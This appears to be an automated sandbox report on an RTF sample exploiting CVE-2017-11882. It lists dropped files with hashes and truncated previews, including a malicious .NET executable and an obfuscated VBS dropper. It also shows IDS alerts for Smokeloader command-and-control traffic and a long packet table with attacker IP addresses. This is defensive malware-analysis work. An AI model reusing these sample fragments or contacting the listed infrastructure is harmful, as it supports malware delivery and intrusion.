Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zoonpc2e.0er.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:05 2023, mtime=Fri Aug 11 15:42:05 2023, atime=Wed Jul 31 16:24:56 2024, length=102469, window=hide
Category:	dropped
Size (bytes):	1234
Entropy (8bit):	4.552674071316221
Encrypted:	false
SSDEEP:	24:8G/XTotxOKIJ5HCdOlfem38PRHCdOlkDv3q057u:8G/XTsK5HCcfNCHCcL09u
MD5:	5506960FB71F4F863AB7A86C68F000AC
SHA1:	5BC5D11542BF7BA4B72103F80105CB7C4144C009
SHA-256:	9E0DFE04F9775AE5DB503ABB05474ED1A0D2F11ED27898B70462E17A121E9C80
SHA-512:	415B26088B7DDAC791D91A668AFA89A38123AC074B861C892588F22C50B57CE90436BFA71AE5D5A54B4CFB83A3648ACF84B783B9D9E4D6B582598A7D210806CF
Malicious:	false
Preview:	L..................F.... ....&(.r....&(.r...@.1.....E.......................'....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Y....user.8......QK.X.Y.....&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.E....Y.. .SECURI~1.RTF..........WC..WC..........................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...C.V.E.-.2.0.1.7.-.1.1.8.8.2...1.2.3...1.2.8.6.9...5.4.0.5...r.t.f.......................-...8...[............?J......C:\Users\..#...................\\045012\Users.user\Desktop\SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf.Q.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...C.V.E.-.2.0.1.7.-.1.1.8.8.2...1.2.3...1.2.8.6.9...5.4.0.5...r.t.f.........:..,.LB.)...Ag...............1SP

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	143
Entropy (8bit):	5.0406982196266314
Encrypted:	false
SSDEEP:	3:H9rbcK+JiMUX2Alm4P8bcK+JiMUX2Alv:H9rwKNVX2AKwKNVX2A1
MD5:	9CD4B2670BA206D46D78C25542C1E6A2
SHA1:	A04B53F292AD58867B54CCCDC65ED4891B0553D1
SHA-256:	0E02614289B47A8B940D5E5B9E6EE37A9C047DE9670D9AE6EF83B5BE72F030A5
SHA-512:	5EBDCE4CC50345E0EFC5425549312444048E2092EFFEA162CA6D86F18D6B77A11746A7B2A737A85D81FA524807494440271C33070758D88971440F92224D7EFA
Malicious:	false
Preview:	[misc]..SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.LNK=0..[folders]..SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\gwseuha

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64704
Entropy (8bit):	6.02370063609959
Encrypted:	false
SSDEEP:	768:f8XcJiMjm2ieHlPyCsSuJbn8dBhFRHSMM6Iq8HSYDKJENf+i6CBpTX:TYMaNylPYSAb8dBnhHr4DKKNf+GBp
MD5:	8FE9545E9F72E460723F484C304314AD
SHA1:	3718A40FFC3AF2613B8B5FE41C475D85FF0522F4
SHA-256:	D2F0B87E2D2707685C4D35F8F05B42FB8326EF4E70D16097B8837DABA06AC961
SHA-512:	0738526EB2E6C485528C6B5A8DDABB51F095C134E010F9F3F25F341ABBE7A63072B0E2C2B161713D28B93F2A33C1476A0FED2D64FF86C9547DA9AF34DC90529A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 40830001.xls, Detection: malicious, Browse Filename: capcut Setup-x64.msi, Detection: malicious, Browse Filename: 7YZlAbfKMg.rtf, Detection: malicious, Browse Filename: Product Inquiry466789.xls, Detection: malicious, Browse Filename: A24-00342B139336 #TW_Inquiry.xls, Detection: malicious, Browse Filename: LgTFM1JlJu.rtf, Detection: malicious, Browse Filename: #20240627_Edlen_B.xls, Detection: malicious, Browse Filename: #20240627_Edlen_A.xls, Detection: malicious, Browse Filename: Requirements.xla.xlsx, Detection: malicious, Browse Filename: vns.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pn.\..............0.............^.... ........@.. ....................... ............`.....................................O.......8................>........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	183084
Entropy (8bit):	3.886576284833851
Encrypted:	false
SSDEEP:	3072:bYFoL2rQi6toiBDgt5p0Gwo9QjS7/DVRq9f1y9uuYaROM5e:0uqrh6BGqykae
MD5:	5AC26F4D93962796DB9CD2E19B32B200
SHA1:	9856C349AD2B408CDD23AA63A620F22FBDA87FA3
SHA-256:	E3E7A3D0BA55B8DBBE3633B1DAD0A3BBF4EADA72DD8DF3F7B1BC76A692862F23
SHA-512:	4C806A0A8FBA3FA9B24A0631D5A3E12F87E21AB3E45F44ECA8DE8C756F436B56E14D383A8B871BD5B5781624AC10E55F2FAD92DE02FA98E6FA53F57D6864B00A
Malicious:	true
Preview:	......a.O.L.h.K.f.L.q.J.U. .=. .".Z.n.f.L.W.m.C.c.G.n.".....U.z.p.u.L.N.N.f.K.k. .=. .".O.e.h.A.Q.W.U.x.L.L.".....L.c.g.O.G.K.m.K.c.L. .=. .".H.b.L.k.L.t.L.W.c.Q.".....v.c.U.s.f.l.Z.R.l.C. .=. .".m.L.u.b.S.T.k.K.W.h.".....k.O.G.G.J.A.l.U.e.f. .=. .".Z.R.f.K.z.W.L.Z.J.b.".....U.z.G.O.h.b.i.W.W.U. .=. .".Z.h.i.K.J.L.G.c.x.L.".....R.N.W.W.P.c.W.L.p.k. .=. .".i.n.L.c.R.a.L.O.R.T.".........L.J.R.H.p.W.O.L.i.A. .=. .".H.A.N.i.C.K.K.a.o.W.".....L.l.i.x.u.b.W.i.P.a. .=. .".e.C.P.x.b.Z.k.A.Q.c.".....c.a.W.i.l.m.i.U.Z.o. .=. .".P.O.b.f.c.P.W.t.m.W.".....p.b.n.Q.m.p.o.i.K.u. .=. .".Q.k.Z.A.v.l.I.x.c.J.".....P.q.i.G.N.O.k.W.u.S. .=. .".u.N.U.K.c.i.G.p.d.h.".....U.g.n.I.L.e.z.U.i.t. .=. .".I.W.G.c.L.u.h.W.H.k.".....o.a.k.C.e.o.A.L.z.i. .=. .".P.W.Z.Z.K.m.A.O.l.f.".....C.N.i.P.K.n.o.h.s.e. .=. .".N.G.U.q.L.d.i.z.G.W.".....P.c.K.P.T.W.k.e.Q.L. .=. .".s.h.N.H.b.z.k.W.T.W.".....L.N.G.L.t.A.H.i.d.G. .=. .".k.h.U.h.J.A.i.Z.P.W.".........P.c.Z.W.h.a.U.a.Q.s. .=. .".c.c.v.G.G.k.H.G.T.f.".....z.z.k.P.x.L.K.

C:\Users\user\AppData\Roaming\vhwiwts

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	339146
Entropy (8bit):	7.999485892516095
Encrypted:	true
SSDEEP:	6144:vTRiNxMS/8R+glFU+3aJonkHLGpwQLaWUZGUX985IFUDH9cxdy+:v1iANyokHLGiQLaDQSUL9x+
MD5:	9DEF0A335F47C66868E4F0164B04679E
SHA1:	4D312D7C6C9E54E3BE7A50B84B0CBB25F38EF008
SHA-256:	6AA186F54BDABAFFE99FD6503E45B1E7DDD74BA238C20BA94E81B913F54F6FE7
SHA-512:	BAE2E5A628CD14D6B5BE595CAC5006FC6605B0199065EB5578C9DD2AF2FCD03FF51BBC4A54EFEB33B240AAD214FD0172C9A6FE6959DF7654C1EF3DDC466F84ED
Malicious:	false
Preview:	.p....f..l..k..;..>u%....(O.H.m...........U....(..oZ.."V.+..W..=.,H.{...We......L.b.5.....<......]...c.ab.%:..zp .W..gX=i..B....5...:..s.(...x.A+m.K:.K...}...Z...'.\......y....&.O..@.B...v..R6.5^....t.n...d..Ul..V.....].0....2K.;.p(..@.d.. 43T.r..+.W../.S.4.e].'l.O.9I..8M.HO?.x}..".oG...E.o>ht.n..3.........e...6....a....$"....].rh}C...l..=E..'.!z%8..N.....Bc.. T.........{P~?....X..a.j"L......6.(.f`)A.c.(.....[e.c...W....`...#....Z.@..y...7...Ox.......2.{hc.:7..#+(....GoZ.x..K..8...d.....GEK.q.2...S..~..E..7..8n.Mi.~=.pa.&.9v.......m..7e......{.j.Y.p....h.....3.mA..X....E.k8.Qf.H..S.#:A._...RI..M3.\...q.r2+.^.0%.dOo.v.?..r-1...t..............r....E..........2.a..#..m.O.G...,..KA.n.".68..d.......... E(.............{.x....D.>..q......0.j~.....<c...r}...U...O...;.....r..E..z..A.....I<......n..HB........$..eA..d(}.Q..J...K......~.XnT8..Ix.(..C...>....n.w.G\|.p.t..oUZou.Q...\./.c.......f.[..\...-`...g...H.y..zTi.s.A..&.n..-L..."+6.

C:\Users\user\Desktop\~$curiteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	2.582252060648168
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf
File size:	102'469 bytes
MD5:	1131d758c8208af277e943f04339e646
SHA1:	030adac1abc31aa8bc3a22dda63c4a005aee6e88
SHA256:	eb8381b156aad734ef3a0328b4985ed1edeca1c8d79d66e094598f8c6992ac71
SHA512:	31952ff007778891c6fe0e34931233e396ee3649c8e502fe35808f2322afafeeb89d102c3eb364e0c3c3be1b84240a0375c58b4045a80ab2d838f0778dbbc5f0
SSDEEP:	768:RnuaXplG+yhAWeLYLguPxUyxYxqY0WqhmRMw:RuTvhAWeLbuP6yiwY0WQmRMw
TLSH:	96A3DF9DD74F00A5CF94A237421B4A8A49FCB73EF24110A578AC837437EDC2E49A59BC
File Content Preview:	{\rtf1.............{\\levelnumbers180579240 \%}.{\28554852%;6,[<?\|;@9?(?(80?.!$'@.@\|??=~-1?33717!<_.4#-,9(?.)..~_##;3?+.7,(~+<<?))!).1>#__5..<:.9'^~2=058%]:@4\|+31).^;??.8%==9[+_81$^%-%7]@?-*5;+&($~?=%,<579;?`]@13>3;(6:$1)`2?6@\|<![972+!:1`?2<+4/~4;

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	00001483h								no

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T19:25:33.084582+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49166	80	192.168.2.22	185.251.91.119
2024-08-31T19:26:53.834308+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49168	80	192.168.2.22	185.251.91.119
2024-08-31T19:25:41.127631+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49167	80	192.168.2.22	185.251.91.119
2024-08-31T19:25:33.477519+0200	TCP	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	80	49166	185.251.91.119	192.168.2.22
2024-08-31T19:25:08.839977+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	1	443	49164	207.241.232.154	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 19:25:01.480722904 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:01.742561102 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:01.742644072 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:01.742921114 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:01.750555038 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423346996 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423366070 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423372984 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423506975 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.423536062 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423567057 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423577070 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423588991 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423602104 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423602104 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.423624039 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.423636913 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.423787117 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423799038 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423847914 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.423871040 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.423913956 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.427826881 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.428734064 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.428792953 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.428796053 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.428806067 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.428833961 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.428915977 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.428961039 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.433593988 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.433625937 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.433660984 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.433672905 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.433698893 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.433706045 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.433743954 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.438349962 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.438360929 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.438395023 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.438395023 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.438575029 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.438585043 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.438607931 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.438627005 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.443228006 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.443239927 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.443248034 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.443284035 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.443294048 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.443425894 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.443435907 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.443474054 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.447959900 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.447988033 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.448030949 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.448230028 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.448240995 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.448280096 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.453038931 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.453048944 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.453057051 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.453068018 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.453077078 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.453080893 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.453100920 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.453109026 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.457967043 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.457993031 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.458002090 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.458010912 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.458064079 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.458316088 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.463397026 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.463406086 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.463416100 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.463426113 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.463439941 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.463449955 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.463469982 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.463479996 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.468252897 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.468280077 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.468327045 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.468365908 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.468377113 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.468404055 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.473351002 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.473361969 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.473412991 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.473443031 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.473453045 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.473462105 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.473476887 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.473491907 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.478537083 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.478550911 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.478601933 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.478616953 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.478626966 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.478646040 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.478657961 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.483429909 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.483444929 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.483459949 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.483469009 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.483469963 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.483481884 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.483494997 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.488188982 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.488200903 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.488209963 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.488224030 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.488239050 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.488332033 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.488344908 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.488369942 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.493788004 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.493798018 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.493827105 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.493838072 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.493849993 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.493870974 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.498955011 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.498966932 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.498975039 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.498996973 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.499006033 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.499007940 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.499023914 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.499032021 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.503890038 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.503906012 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.503935099 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.503951073 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.503964901 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.503978014 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.504005909 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.508908987 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.508924007 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.508966923 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.508966923 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.508977890 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.508987904 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.509000063 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.509013891 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.513931036 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.513942003 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.513971090 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.513987064 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.514098883 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.514115095 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.514153004 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.514163017 CEST	49163	80	192.168.2.22	23.94.148.16
